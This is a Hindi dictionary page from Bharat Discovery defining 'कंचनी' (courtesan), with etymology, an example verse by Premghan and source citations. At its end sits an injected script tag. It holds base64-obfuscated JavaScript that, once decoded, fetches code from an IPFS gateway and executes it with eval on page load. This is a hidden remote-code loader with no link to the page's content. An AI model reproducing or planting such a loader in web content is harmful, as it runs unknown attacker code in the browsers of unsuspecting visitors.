कंचनी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

कंचनी - संज्ञा स्त्रीलिंग (संस्कृत कञ्जनी = वेश्या अथवा संस्कृत कंचन + हिंदी 'ई' प्रत्यय) वेश्या।[1]

उदाहरण-

सेवक द्विज दच्छिना, कंचनी कवि धन पावत। - प्रेमघन[2]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 719 |
  2. प्रेमघन सर्वस्व, हिन्दी साहित्य सम्मेलन, प्रयाग, प्रथम संस्करण, 1996 वि., पृष्ठ 33

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>